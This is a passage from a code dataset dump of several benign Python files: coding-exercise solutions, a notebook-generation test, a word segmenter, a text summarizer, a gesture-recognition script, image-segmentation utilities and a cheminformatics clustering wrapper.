0\n time.sleep(0.1)\n bar_format = '{desc}|{bar:10}|[{elapsed}<{remaining},{rate_fmt}]'\n with tqdm(range(len(np.unique(predicted_pairs[:, 0]))), file=sys.stdout, bar_format=bar_format,\n position=0, leave=True) as pbar:\n for i in np.unique(predicted_pairs[:, 0]):\n pairs_mask = predicted_pairs[:, 0] == i\n if pairs[i, 0].cpu().numpy() in predicted_pairs[pairs_mask, 1]:\n summer += 1\n\n pbar.update(1)\n\n self.siamese_accuracy = summer / pairs.size(0)\n logging.info(\n f'Siamese accuracy of maching for the tops of top{self.topk}: {self.siamese_accuracy * 100:.2f}%')\n logging.info(f'Combined mathing of top{self.topk} contains {np.sum(top_pairs_array>0)} elements')\n\n return top_pairs_array, predicted_pairs\n\n def run_bipartite_matching(self, pairs_array):\n logging.info('Running maximum bipartite matching.')\n pairs = self.iohandler.results['pairs']\n\n if self.siamese_accuracy > self.config.env.bipartite_threshold:\n predicted_pairs = linear_sum_assignment(pairs_array, maximize=True)[1]\n\n linear_sum_accuracy = np.sum(predicted_pairs == pairs[:, 0].cpu().numpy()) / pairs.size(0)\n\n self.accuracy = linear_sum_accuracy\n logging.info(f'linear_sum_acc: {linear_sum_accuracy * 100:.2f}%')\n else:\n self.accuracy = 0\n predicted_pairs = None\n\n return predicted_pairs","repo_name":"gregiberri/shuffled_image_reconstruction","sub_path":"ml/solvers/siamese_solver.py","file_name":"siamese_solver.py","file_ext":"py","file_size_in_byte":15684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20219982951","text":"# https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/\n\n\n# Zero-based array indexing is a way of numbering the items in an array \n# such that the first item of it has an index of 0,\n# whereas a one-based array indexed array has its first item indexed as 1\nfrom typing import List\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n l, r = 0, len(numbers)-1\n while l < r:\n s = numbers[l] + numbers[r]\n if s == target:\n return [l+1, r+1]\n elif s < target:\n l += 1\n else:\n r -= 1\n \nt = Solution()\nprint(t.twoSum([2,7,11,15], 9))","repo_name":"eujeong-hwang/Coding_Test_Preparation","sub_path":"Leetcode Algorithms/Day3 (Two Pointers)/167. Two Sum II - Input Array is Sorted.py","file_name":"167. Two Sum II - Input Array is Sorted.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"73921075301","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport nbformat as nbf\nimport nbtransom as nbt\nimport sys\n\n\ndef create_nb ():\n \"\"\"\n old-school approach, for comparison\n\n NB: a notebook can also be run at the command line with:\n `jupyter nbconvert --execute --inplace test.ipynb`\n \"\"\"\n nb = nbf.v4.new_notebook()\n\n text = \"# My first automagic Jupyter Notebook\"\n\n code = \"\"\"\\\n%pylab inline\nhist(normal(size=2000), bins=50);\n\"\"\"\n\n cell_text = nbf.v4.new_markdown_cell(text.strip())\n cell_code = nbf.v4.new_code_cell(code.strip())\n cell_data = nbt.create_data_cell(\"foo\", { \"x\": [ 2.31, 12.34 ], \"y\": 3 })\n\n nb[\"cells\"] = [ cell_text, cell_code, cell_data ]\n return nb\n\n\nif __name__ == \"__main__\":\n # define some example data...\n foo = [1, 3, 4, 5, 9, 8, 5, 2, 7, 0, 1, 3, 4, 5, 9, 8, 5, 2, 7, 0, 1, 3, 4, 5, 9, 8, 5, 2, 7, 0, 1, 3, 4, 5, 9, 8, 5, 2, 7, 0, 1, 3, 4, 5, 9, 8, 5, 2, 7, 0, 1, 3, 4, 5, 9, 8, 5, 2, 7, 0]\n\n x = {\n 'orm:Deep_Learning': [\n [ \"9780128104095\", \"B9780128104088000158.xhtml\", \"Deep Learning for Medical Image Analysis\" ],\n [ \"9781491924570\", \"ch06.html\", \"Deep Learning\" ],\n [ \"9780128104095\", \"B9780128104088000110.xhtml\", \"Deep Learning for Medical Image Analysis\" ],\n [ \"9781491924570\", \"ch03.html\", \"Deep Learning\" ],\n [ \"9781491971444\", \"ch01.html\", \"Machine Learning for Designers\" ],\n ],\n 'orm:Edu_Psychology': [\n [ \"9781522505136\", \"978-1-5225-0513-6.ch004.xhtml\", \"Handbook of Research on Serious Games for Educational Applications\" ],\n [ \"9781522505310\", \"978-1-5225-0531-0.ch008.xhtml\", \"Innovative Practices for Higher Education\" ],\n [ \"9781522504801\", \"978-1-5225-0480-1.ch011.xhtml\", \"Knowledge Visualization and Visual Literacy\" ],\n ],\n 'null': [\n [ \"9780123973085\", \"CHP005.html\", \"General Aviation Aircraft Design\" ],\n [ \"9780132761772\", \"ch20.html\", \"Scala for the Impatient\" ],\n [ \"9780132885478\", \"ch05.html\", \"Basic Principles and Calculations in Chemical Engineering\" ],\n ]\n }\n\n # create a notebook manually via `nbformat` API, then read/write\n # some of the notebook's cells\n nb = create_nb()\n nbt.set_val(nb, nbt.get_var_name(foo), foo)\n\n lib_cell = nbt.create_code_cell(\"imports\", \"import pandas as pd\")\n nb.cells.append(lib_cell)\n\n nbt.put_df(nb, \"my_df\", [ [1, 2], [3, 4] ], [\"a\", \"b\"])\n nbt.set_val(nb, nbt.get_var_name(x), x, formatter=nbt.min_pretty)\n\n file_name = \"test.ipynb\"\n nbt.save_nb(nb, file_name)\n\n # re-read the whole enchilada\n nb = nbt.open_nb(file_name)\n print(nbt.min_pretty(nb.cells, level=1))\n\n # i can haz `5`?\n derived_foo = nbt.get_val(nb, nbt.get_var_name(foo))\n assert derived_foo[3] == foo[3]\n","repo_name":"ceteri/nbtransom","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"35"} +{"seq_id":"71512113061","text":"s = int(input())\na = []\na.append(s)\nans = 0\nwhile True:\n if a[ans]%2==0:\n if a[ans]//2 in a:\n print(ans+2)\n break\n a.append(a[ans]//2)\n else :\n if 3*a[ans]+1 in a:\n print(ans+2)\n break\n a.append(3*a[ans]+1)\n ans+=1","repo_name":"atososon/AtCoder","sub_path":"atcoder.jp/abc116/abc116_b/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15209895520","text":"import unittest\nimport pandas as pd\nfrom homework3 import create_dataframe\n\n# Define a class in which the tests will run\nclass TestCreateDataframe(unittest.TestCase):\n #Testcase to check if the correct exception is raised for invalid file path\n def test_invalid_path(self):\n try:\n self.assertRaises(ValueError,create_dataframe,'test/class.db')\n except Exception as e:\n self.fail(\"Unexpected Exception Raised\")\n \n #Testcase to check if the function returns a dataframe with the right columns\n def test_columns(self):\n dframe = create_dataframe('class.db')\n self.assertEqual(set(dframe.columns),{'category_id', 'language', 'video_id'})\n \n #Testcase to check if the video_id, language and category_id together is a key in the dataframe\n def test_key(self):\n dframe = create_dataframe('class.db')\n self.assertEqual(len(dframe),(dframe['video_id'].apply(str) + dframe['language'] + dframe['category_id'].apply(str)).nunique())\n \n #Testcase to check if the dataframe has 35950 rows\n def test_rowcount(self):\n dframe = create_dataframe('class.db')\n self.assertEqual(len(dframe),35950)\n\nsuite = unittest.TestLoader().loadTestsFromTestCase(TestCreateDataframe)\n_ = unittest.TextTestRunner().run(suite)\n","repo_name":"uwseds-sp18/homework-3-TejasJagadeesh","sub_path":"test_homework3.py","file_name":"test_homework3.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"71615496102","text":"import re, string, random, glob, operator, heapq, sys\nfrom collections import defaultdict\nfrom math import log10\n\ndef memo(f):\n # \"Memoize function f.\"\n table = {}\n def fmemo(*args):\n if args not in table:\n table[args] = f(*args)\n return table[args]\n fmemo.memo = table\n return fmemo\n\n@memo\ndef segment(text):\n \"Return a list of words that is the best segmentation of text.\"\n if not text: return []\n candidates = ([first]+segment(rem) for first,rem in splits(text))\n return max(candidates, key=Pwords)\n\ndef splits(text, L=20):\n \"Return a list of all possible (first, rem) pairs, len(first)<=L.\"\n return [(text[:i+1], text[i+1:])\n for i in range(min(len(text), L))]\n\ndef Pwords(words):\n \"The Naive Bayes probability of a sequence of words.\"\n return product(Pw(w) for w in words)\n\n#### Support functions (p. 224)\n\ndef product(nums):\n \"Return the product of a sequence of numbers.\"\n return reduce(operator.mul, nums, 1)\n\nclass Pdist(dict):\n \"A probability distribution estimated from counts in datafile.\"\n def __init__(self, data=[], N=None, missingfn=None):\n for key,count in data:\n self[key] = self.get(key, 0) + int(count)\n self.N = float(N or sum(self.itervalues()))\n self.missingfn = missingfn or (lambda k, N: 1./N)\n def __call__(self, key):\n if key in self: return self[key]/self.N\n else: return self.missingfn(key, self.N)\n\ndef datafile(name, sep='\\t'):\n \"Read key,value pairs from file.\"\n for line in file(name):\n yield line.split(sep)\n\ndef avoid_long_words(key, N):\n \"Estimate the probability of an unknown word.\"\n return 10./(N * 10**len(key))\n\nN = 1024908267229 ## Number of tokens\n\nPw = Pdist(datafile('count_1w.txt'), N, avoid_long_words)\n\ndef segmentLarge(str):\n #split the text into groups of 100 to avoid recursion limit\n strs = [str[i:i+100] for i in range(0, len(str), 100)]\n\n #segment sections and re-append\n out = \"\"\n for s in strs:\n doneSegs = segment(s)\n\n for x in doneSegs:\n out = out + x\n out = out+ \" \"\n return out\n\nwhile True:\n str = raw_input().lower()\n print(segmentLarge(str).upper() + \"\\n\")\n sys.stdout.flush()","repo_name":"gforcedev/gcipher-deluxe","sub_path":"wordGuessing/ngrams.py","file_name":"ngrams.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"8797002887","text":"from sumy.summarizers.lsa import LsaSummarizer\nfrom sumy.nlp.tokenizers import Tokenizer\nfrom sumy.nlp.stemmers import Stemmer\nfrom sumy.parsers.plaintext import PlaintextParser\nfrom sumy.utils import get_stop_words\nimport pandas as pd\nimport re\n\n\nLANGUAGE = 'english'\nstemmer = Stemmer(LANGUAGE)\ndata = pd.read_csv('preprocessed_desc.csv')\n\n\ndef clean(text):\n #Remove punctuations\n # text = re.sub(r'[^a-zA-Z. ]+', ' ', text)\n \n #Convert to lowercase\n # text = text.lower()\n \n #remove tags\n text=re.sub(\"</?.*?>\",\" <> \",text)\n \n # remove special characters and digits\n # text=re.sub(\"\\\\d+\",\" \",text)\n text = re.sub(r'\\s+', ' ', text)\n text = text.replace('. ','.')\n text = text.replace('.','. ')\n \n \n ##Convert to list from string\n return(text)\ndef summary(article):\n parser = PlaintextParser.from_string(article, Tokenizer(LANGUAGE))\n summarizer = LsaSummarizer(stemmer)\n summarizer.stop_words = get_stop_words(LANGUAGE)\n num_summary_sentence = 3\n doc = \"\"\n for sentence in summarizer(parser.document, num_summary_sentence):\n doc += str(sentence)\n return(doc)\nsummaries = [] \nfor text in data['description']:\n summaries.append(summary(clean(text)))\nids = list(data['content_id'])\ndata = pd.DataFrame(list(zip(ids,summaries)),columns =['content_id', 'summary'])\ndata.to_csv(r'summarygenerated.csv', index=False)\n\n\n\n\n\n \n\n\n\n\n\n\n\n","repo_name":"itsaadish/keywordextraction","sub_path":"text summarization/Summary_usinglsa.py","file_name":"Summary_usinglsa.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22683197114","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jan 28 00:44:25 2021\r\n\r\n@author: chakati\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\nimport os\r\nimport csv\r\nimport re\r\nfrom frameextractor import frameExtractor\r\nfrom handshape_feature_extractor import HandShapeFeatureExtractor\r\n\r\nimport tensorflow as tf\r\n\r\n# To make sure Local GPU is enabled\r\ntry:\r\n tf_gpus = tf.config.list_physical_devices('GPU')\r\n for gpu in tf_gpus:\r\n tf.config.experimental.set_memory_growth(gpu, True)\r\nexcept:\r\n pass\r\n\r\n\r\n# =============================================================================\r\n# Helper Classes and Functions\r\n# =============================================================================\r\n\r\n\r\nclass GestureDetails:\r\n \"\"\"\r\n A class to handle Gesture Details\r\n Ex: GestureDetails(\"FanUp\", \"Increase Fan Speed\", \"13\")\r\n\r\n \"\"\"\r\n\r\n def __init__(self, gesture_Id, gesture_name, output_label):\r\n self.gesture_Id = gesture_Id\r\n self.gesture_name = gesture_name\r\n self.output_label = output_label\r\n\r\n\r\nclass GestureFeature:\r\n \"\"\"\r\n A class to handle Gesture and its corresbonding extracted feature\r\n\r\n \"\"\"\r\n\r\n def __init__(self, gesture_detail: GestureDetails, extracted_feature):\r\n self.gesture_detail = gesture_detail\r\n self.extracted_feature = extracted_feature\r\n\r\n\r\ndef extract_feature(folder_path, input_file, mid_frame_counter):\r\n \"\"\"\r\n A Function to extract features of a middel image of a given video\r\n 1- extract frame using frameExtractor\r\n 2- extract features of that frame using HandShapeFeatureExtractor\r\n\r\n \"\"\"\r\n middle_image = cv2.imread(frameExtractor(folder_path + input_file, folder_path + \"frames/\", mid_frame_counter),\r\n cv2.IMREAD_GRAYSCALE)\r\n feature_extracted = HandShapeFeatureExtractor.extract_feature(HandShapeFeatureExtractor.get_instance(),\r\n middle_image)\r\n return feature_extracted\r\n\r\n\r\ndef get_gesture_by_file_name(gesture_file_name):\r\n \"\"\"\r\n A Function to get gesture given its file name\r\n\r\n \"\"\"\r\n for x in gesture_data:\r\n if x.gesture_Id == gesture_file_name.split('_')[0]:\r\n return x\r\n return None\r\n\r\n\r\n# a list to containg all gestures and thier details (Id, name, label)\r\ngesture_data = [GestureDetails(\"Num0\", \"0\", \"0\"), GestureDetails(\"Num1\", \"1\", \"1\"),\r\n GestureDetails(\"Num2\", \"2\", \"2\"), GestureDetails(\"Num3\", \"3\", \"3\"),\r\n GestureDetails(\"Num4\", \"4\", \"4\"), GestureDetails(\"Num5\", \"5\", \"5\"),\r\n GestureDetails(\"Num6\", \"6\", \"6\"), GestureDetails(\"Num7\", \"7\", \"7\"),\r\n GestureDetails(\"Num8\", \"8\", \"8\"), GestureDetails(\"Num9\", \"9\", \"9\"),\r\n GestureDetails(\"FanDown\", \"Decrease Fan Speed\", \"10\"),\r\n GestureDetails(\"FanOn\", \"FanOn\", \"11\"), GestureDetails(\"FanOff\", \"FanOff\", \"12\"),\r\n GestureDetails(\"FanUp\", \"Increase Fan Speed\", \"13\"),\r\n GestureDetails(\"LightOff\", \"LightOff\", \"14\"), GestureDetails(\"LightOn\", \"LightOn\", \"15\"),\r\n GestureDetails(\"SetThermo\", \"SetThermo\", \"16\")\r\n ]\r\n\r\n# =============================================================================\r\n# Get the penultimate layer for trainig data\r\n# =============================================================================\r\n\r\nfeatureVectorList = []\r\ntrain_data_path = \"traindata/\"\r\ncount = 0\r\nfor file in os.listdir(train_data_path):\r\n # in our path we have videos and folder called frames so we want to take every thing but do not take frames folder\r\n if not file.startswith('frames'):\r\n featureVectorList.append(GestureFeature(get_gesture_by_file_name(file),\r\n extract_feature(train_data_path, file, count)))\r\n count = count + 1\r\n\r\n\r\n# =============================================================================\r\n# Recognize the gesture (use cosine similarity for comparing the vectors)\r\n# =============================================================================\r\n\r\ndef gesture_detection(gesture_folder_path, gesture_file_name, mid_frame_counter):\r\n \"\"\"\r\n using train feature vector for all training data, compare the a given test video frame feature vector\r\n with all the feature vectors for the training data using cosine similarity\r\n to decide the label of the gesture in the that test video\r\n\r\n \"\"\"\r\n video_feature = extract_feature(gesture_folder_path, gesture_file_name, mid_frame_counter)\r\n\r\n flag = True\r\n num_mutations = 0\r\n gesture_detail: GestureDetails = GestureDetails(\"\", \"\", \"\")\r\n while flag and num_mutations < 5:\r\n similarity = 1\r\n position = 0\r\n index = 0\r\n for featureVector in featureVectorList:\r\n cosine_similarity = tf.keras.losses.cosine_similarity(video_feature, featureVector.extracted_feature,\r\n axis=-1)\r\n if cosine_similarity < similarity:\r\n similarity = cosine_similarity\r\n position = index\r\n index = index + 1\r\n gesture_detail = featureVectorList[position].gesture_detail\r\n flag = False\r\n if flag:\r\n num_mutations = num_mutations + 1\r\n return gesture_detail\r\n\r\n\r\n# =============================================================================\r\n# Get the penultimate layer for test data\r\n# =============================================================================\r\n\r\ntest_data_path = \"test/\"\r\ntest_count = 0\r\nwith open('results.csv', 'w', newline='') as results_file:\r\n fields_names = [\r\n 'Gesture_Video_File_Name', 'Gesture_Name',\r\n 'Output_Label']\r\n data_writer = csv.DictWriter(results_file, fieldnames=fields_names)\r\n data_writer.writeheader()\r\n\r\n for test_file in os.listdir(test_data_path):\r\n if not test_file.startswith('frames'):\r\n recognized_gesture_detail = gesture_detection(test_data_path, test_file, test_count)\r\n test_count = test_count + 1\r\n\r\n data_writer.writerow({\r\n 'Gesture_Video_File_Name': test_file,\r\n 'Gesture_Name': recognized_gesture_detail.gesture_name,\r\n 'Output_Label': recognized_gesture_detail.output_label})\r\n","repo_name":"wzheng41/SmartHomeGestureControl","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6366,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"39440786178","text":"TC = int(input())\n\ndef in_order(n):\n global cnt\n if n <= N:\n in_order(n*2)\n tree[n] = cnt\n cnt += 1\n in_order(n*2+1)\n\nfor tc in range(1, TC+1):\n N = int(input())\n\n tree = [0 for _ in range(N+1)]\n cnt = 1\n in_order(1)\n print('#{} {} {}'.format(tc, tree[1], tree[N//2]))\n\n# 교수님 풀이\n# def inorder(root):\n# global value\n# if root <= N:\n# inorder(root*2) # root의 왼쪽 서브트리의 root\n# tree[root] = value\n# value += 1\n#\n# inorder(root*2+1) # root의 오른쪽 서브트리의 root\n#\n# TC = int(input())\n# for tc in range(1, TC+1):\n# N = int(input())\n# tree = [0] * (N+1)\n#\n# value = 1\n# inorder(1)\n# print('#{} {} {}'.format(tc, tree[1], tree[N//2]))\n","repo_name":"leejuyong12/python-algorithm","sub_path":"SWEA/D2/5176-이진탐색.py","file_name":"5176-이진탐색.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42569285739","text":"from matplotlib import pyplot as plt\nimport torch\nimport torch.utils.data as data\nimport cv2\nimport os\nfrom glob import glob\n\n\ndef show_image_mask_real_loss(img, mask, real, loss, cmap='gray'): # visualisation\n fig = plt.figure()\n plt.subplot(2, 2, 1)\n plt.imshow(img, cmap=cmap)\n plt.axis('off')\n\n plt.subplot(2, 2, 2)\n plt.imshow(mask, cmap=cmap)\n plt.axis('off')\n\n plt.subplot(2, 2, 3)\n plt.imshow(real, cmap=cmap)\n plt.axis('off')\n\n plt.subplot(2, 2, 4)\n plt.plot(loss)\n\nclass TrainDataset(data.Dataset):\n def __init__(self, root=''):\n super(TrainDataset, self).__init__()\n self.img_files = glob(os.path.join(root, 'image', '*.png'))\n self.mask_files = []\n for img_path in self.img_files:\n basename = os.path.basename(img_path)\n self.mask_files.append(os.path.join(root, 'mask', basename[:-4] + '_mask.png'))\n\n\n def __getitem__(self, index):\n img_path = self.img_files[index]\n mask_path = self.mask_files[index]\n data = cv2.imread(img_path, cv2.IMREAD_UNCHANGED)\n label = cv2.imread(mask_path, cv2.IMREAD_UNCHANGED)\n return torch.from_numpy(data).float(), torch.from_numpy(label).float()\n\n def __len__(self):\n return len(self.img_files)\n\n\nclass TestDataset(data.Dataset):\n def __init__(self, root=''):\n super(TestDataset, self).__init__()\n self.img_files = glob(os.path.join(root, 'image', '*.png'))\n\n def __getitem__(self, index):\n img_path = self.img_files[index]\n data = cv2.imread(img_path, cv2.IMREAD_UNCHANGED)\n return torch.from_numpy(data).float()\n\n def __len__(self):\n return len(self.img_files)\n\ndef convert_to_4_chan(img):\n ishape = img.shape\n result = torch.zeros((ishape[0], 4, ishape[1], ishape[2]))\n result[:, 0, :, :] = torch.where(img == 0, 1, 0)\n result[:, 1, :, :] = torch.where(img == 1, 1, 0)\n result[:, 2, :, :] = torch.where(img == 2, 1, 0)\n result[:, 3, :, :] = torch.where(img == 3, 1, 0)\n return result\n\n\n\ndef convert_to_1_chan(img):\n ishape = img.shape\n result = torch.zeros((ishape[0], ishape[1], ishape[2]))\n result = torch.argmax(img, dim=1)\n\n return result","repo_name":"hugnata/convolutionalNN","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9528443362","text":"import rasterio\nimport unittest\nfrom s1_ard_pypeline.utils import data_validation\n\n\nclass TestDataValidation(unittest.TestCase):\n\n def test_bounding_box_to_wkt(self):\n box = rasterio.coords.BoundingBox(10, -10, -10, 10)\n result = data_validation.bounding_box_to_wkt(box)\n self.assertEqual(\"POLYGON((10 10, -10 10, -10 -10, 10 -10, 10 10))\", result)\n\n def test_overlap_matching(self):\n box_a = rasterio.coords.BoundingBox(10, -10, -10, 10)\n box_b = rasterio.coords.BoundingBox(5, -5, -5, 5)\n\n self.assertTrue(data_validation.overlap(box_a, box_b))\n\n def test_overlap_not_matching(self):\n box_a = rasterio.coords.BoundingBox(10, -10, -10, 10)\n box_b = rasterio.coords.BoundingBox(-11, -11, -22, -22)\n\n self.assertFalse(data_validation.overlap(box_a, box_b))\n","repo_name":"danhirst98/sentinel2-dataset-pipeline","sub_path":"subset/tests/utils/test_data_validation.py","file_name":"test_data_validation.py","file_ext":"py","file_size_in_byte":828,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"71183941862","text":"\"\"\"\nThis is the main entry-point module for\nthe application. There is very little in terms\nof logic or algorithms in here - it is principally\njust a wrapper for the functionality exposed by\nother modules. The majority of the application logic \nis found in DAL.py.\n\"\"\"\nimport os\n\nfrom DAL import MoleculeData, FragmentData, GroupData, ChainData\nfrom metrics import FragmentMetric, MoleculeMetric, GroupMetric\nfrom fingerprint import NovelFingerprintData\n\nfrom helper import MyConfig, MyLogger, MyFileHandler\nfrom helper import FingerprintNotSetError\nfrom drawing import draw_mols_canvas, draw_entities\n\n\nclass ChemCluster:\n def __init__(self):\n self.md = MoleculeData()\n self.fd = FragmentData(self.md)\n self.gd = GroupData(self.md, self.fd)\n self.cd = ChainData(self.md, self.fd, self.gd)\n self.nfp = NovelFingerprintData(self.md, self.fd, self.gd, self.cd)\n self.mm = MoleculeMetric(self.md, self.fd, self.gd, self.cd, self.nfp)\n self.fm = FragmentMetric(self.md, self.fd, self.gd, self.cd, self.nfp)\n self.gm = GroupMetric(self.md, self.fd, self.gd, self.cd, self.nfp)\n self._configure()\n\n def _configure(self):\n self._logger = MyLogger().get_child(type(self).__name__)\n self._fh = MyFileHandler()\n self._config = MyConfig()\n\n def _setup_query_folder(self, folder):\n\n outdir = os.path.join(self._config.get_directory(\"images\"), f\"{folder}\")\n if self._config.use_tmp():\n outdir = self._config.get_directory(\"tmp\")\n if os.path.exists(outdir):\n self._fh.clean_dir(outdir)\n return outdir\n\n def _large_comp_diff(self, mols, lam_thresh=75, osc_thresh=0.5):\n lambdas = mols.apply(lambda x: x.get_lambda_max())\n osc = mols.apply(lambda x: x.get_strength_max())\n lam_diff = lambdas.max() - lambdas.min()\n osc_diff = osc.max() - osc.min()\n\n if lam_diff > lam_thresh or osc_diff > osc_thresh:\n return True\n return False\n\n def generate_fragments(self):\n regen = self._config.get_regen(\"grouping\")\n self.DEV_FLAG = self._config.get_flag(\"dev\")\n self.mols = self.md.get_molecules(regen)\n self.frags = self.fd.get_fragments(regen)\n self.groups = self.gd.get_groups(regen)\n self.subs = self.cd.get_substituents(regen)\n self.bridges = self.cd.get_bridges(regen)\n self.md.set_comp_data()\n self.nfp.set_up()\n\n def generate_novel_fps(self):\n\n self._fps = self.mols.apply(lambda x: self.get_novel_fp(x.get_id()))\n\n def get_novel_fp(self, mol_id, regen=False):\n\n mol = self.mols.loc[mol_id]\n if not regen:\n try:\n novel_fp = mol.get_novel_fp()\n return novel_fp\n except FingerprintNotSetError:\n pass\n novel_fp = self.nfp.fingerprint_mol(mol_id)\n return novel_fp\n\n def get_novel_fps(self):\n try:\n return self._fps\n except AttributeError:\n self.generate_novel_fps()\n return self._fps\n\n def get_molecule(self, mol_id):\n return self.mols.loc[mol_id]\n\n def get_fragment(self, frag_id):\n return self.frags.loc[frag_id]\n\n def get_group(self, group_id):\n return self.groups.loc[group_id]\n\n def get_substituent(self, sub_id):\n return self.subs.loc[sub_id]\n\n def get_bridge(self, bridge_id):\n return self.bridges.loc[bridge_id]\n\n def draw_entity_mols(self, ent_type, ent_id, from_idx=0):\n ent_func_dict = {\n \"fragment\": self.fd.get_frag_mols,\n \"group\": self.gd.get_group_mols,\n \"substituent\": self.cd.get_sub_mols,\n \"bridge\": self.cd.get_bridge_mols,\n }\n ent_func = ent_func_dict[ent_type]\n mols = ent_func(ent_id)\n legends = mols.apply(lambda x: x.get_legend(self.DEV_FLAG))\n folder = os.path.join(\n self._config.get_directory(\"images\"), f\"{ent_type}_{ent_id}_mols/\"\n )\n draw_mols_canvas(mols, legends, folder, start_idx=from_idx)\n\n # all the functions starting with q_ are queries\n\n def q_same_groups(\n self, counts=True, query=\"\", pattern=\"\", large_comp_diff=False, draw=True\n ):\n\n mols = self.md.clean_mols()\n sim_mols = self.nfp.mols_same_group(counts, pattern, exclude_benz=True)\n folder = f\"mols_same_group_{counts}_{query}_{pattern}\"\n outdir = self._setup_query_folder(folder)\n if draw:\n for key, mol_ids in sim_mols.items():\n mols_tmp = mols[mol_ids]\n if not large_comp_diff or self._large_comp_diff(mols_tmp):\n legends = mols_tmp.apply(lambda x: x.get_legend(self.DEV_FLAG))\n draw_mols_canvas(\n mols_tmp, legends, outdir, suffix=key, clean_dir=False\n )\n return None\n if query:\n return mols[sim_mols[query]]\n return sim_mols\n\n def q_diff_counts(self, group_id=None, draw=True, query=\"\"):\n\n mol_sets = self.nfp.mols_same_except_one(group_id)\n mols = self.md.clean_mols()\n folder = f\"mols_same_expt_one_{group_id}\"\n if not draw:\n if query:\n return mols[list(mol_sets[query])]\n return mol_sets\n if query:\n return mols[mol_sets[query]]\n outdir = self._setup_query_folder(folder)\n for key, mol_ids in mol_sets.items():\n m_ids = list(mol_ids)\n mols_tmp = self.mols.loc[m_ids]\n legends = mols_tmp.apply(lambda x: x.get_legend(self.DEV_FLAG))\n if len(mols_tmp) <= 1:\n continue\n if key == \"2\":\n continue\n draw_mols_canvas(mols_tmp, legends, outdir, suffix=key, clean_dir=False)\n\n def q_diff_topology(self, draw=True, large_comp_diff=False):\n mol_subsets = self.nfp.mols_diff_topology()\n folder = f\"diff_topology_{large_comp_diff}\"\n outdir = self._setup_query_folder(folder)\n if not draw:\n return mol_subsets\n\n for fp, mol_ids in mol_subsets.items():\n mols_tmp = self.mols[mol_ids]\n if not large_comp_diff or self._large_comp_diff(mols_tmp):\n legends = mols_tmp.apply(lambda x: x.get_legend(self.DEV_FLAG))\n draw_mols_canvas(mols_tmp, legends, outdir, suffix=fp, clean_dir=False)\n\n def q_diff_substituents(self, sub_id, draw=True, large_comp_diff=False):\n mol_subsets = self.nfp.same_fp_except_sub(sub_id)\n folder = f\"same_except_{sub_id}\"\n outdir = self._setup_query_folder(folder)\n if not draw:\n return mol_subsets\n\n for fp, mol_ids in mol_subsets.items():\n mols_tmp = self.mols[mol_ids]\n if not large_comp_diff or self._large_comp_diff(mols_tmp):\n legends = mols_tmp.apply(lambda x: x.get_legend(self.DEV_FLAG))\n draw_mols_canvas(mols_tmp, legends, outdir, suffix=fp, clean_dir=False)\n\n def similarity_report(self, mol_ids):\n report, table = self.mm.similarity(mol_ids)\n print(table)\n\n def average_cluster_sim(self, mols, fp_type=\"morgan\", metric=\"tanimoto\"):\n\n sims = 0\n cnt = 0\n for i, mol in enumerate(mols.tolist()):\n if i == len(mols) - 1:\n break\n for mol_c in mols[i + 1 :]:\n report, table = self.mm.similarity(mols=[mol, mol_c])\n sim = report[f\"{fp_type}_{metric}\"]\n sims += sim\n cnt += 1\n return sims / cnt\n\n def average_fp_sim(self, fp_type=\"rdk\", metric=\"dice\"):\n return self.mm.average_fp_sim(fp_type, metric)\n\n def get_mols_with_fp(self, fp, counts=True, draw=False):\n mols = self.nfp.mols_with_fp(fp, counts=True)\n folder = f\"mols_with_fp_{fp}\"\n outdir = self._setup_query_folder(folder)\n if draw:\n legends = mols.apply(lambda x: x.get_legend(self.DEV_FLAG))\n draw_mols_canvas(mols, legends, outdir)\n return mols\n\n def get_groups_with_pattern(self, pattern, draw=False):\n groups = self.gd.find_groups_with_pattern(pattern)\n folder = f\"groups_with_{pattern}\"\n outdir = self._setup_query_folder(folder)\n if draw:\n legends = groups.apply(lambda x: f\"{x.get_id()}\")\n draw_mols_canvas(groups, legends, outdir)\n return groups\n\n def get_subs_with_pattern(self, pattern, draw=False):\n subs = self.cd.find_subs_with_pattern(pattern)\n folder = f\"subs_with_{pattern}\"\n outdir = self._setup_query_folder(folder)\n if draw:\n legends = subs.apply(lambda x: f\"{x.get_id()}\")\n draw_mols_canvas(subs, legends, outdir)\n return subs\n\n def draw_mols(self, mol_ids=[], img_type=\"png\"):\n mols = self.mols[mol_ids]\n legends = mols.apply(lambda x: x.get_legend(self.DEV_FLAG))\n folder = os.path.join(self._config.get_directory(\"images\"), \"mols_rpt\")\n draw_mols_canvas(mols, legends, folder, img_type=img_type)\n\n def draw_groups(self, from_idx=0, to_idx=200):\n\n groups = self.gd.get_groups()\n g_dir = 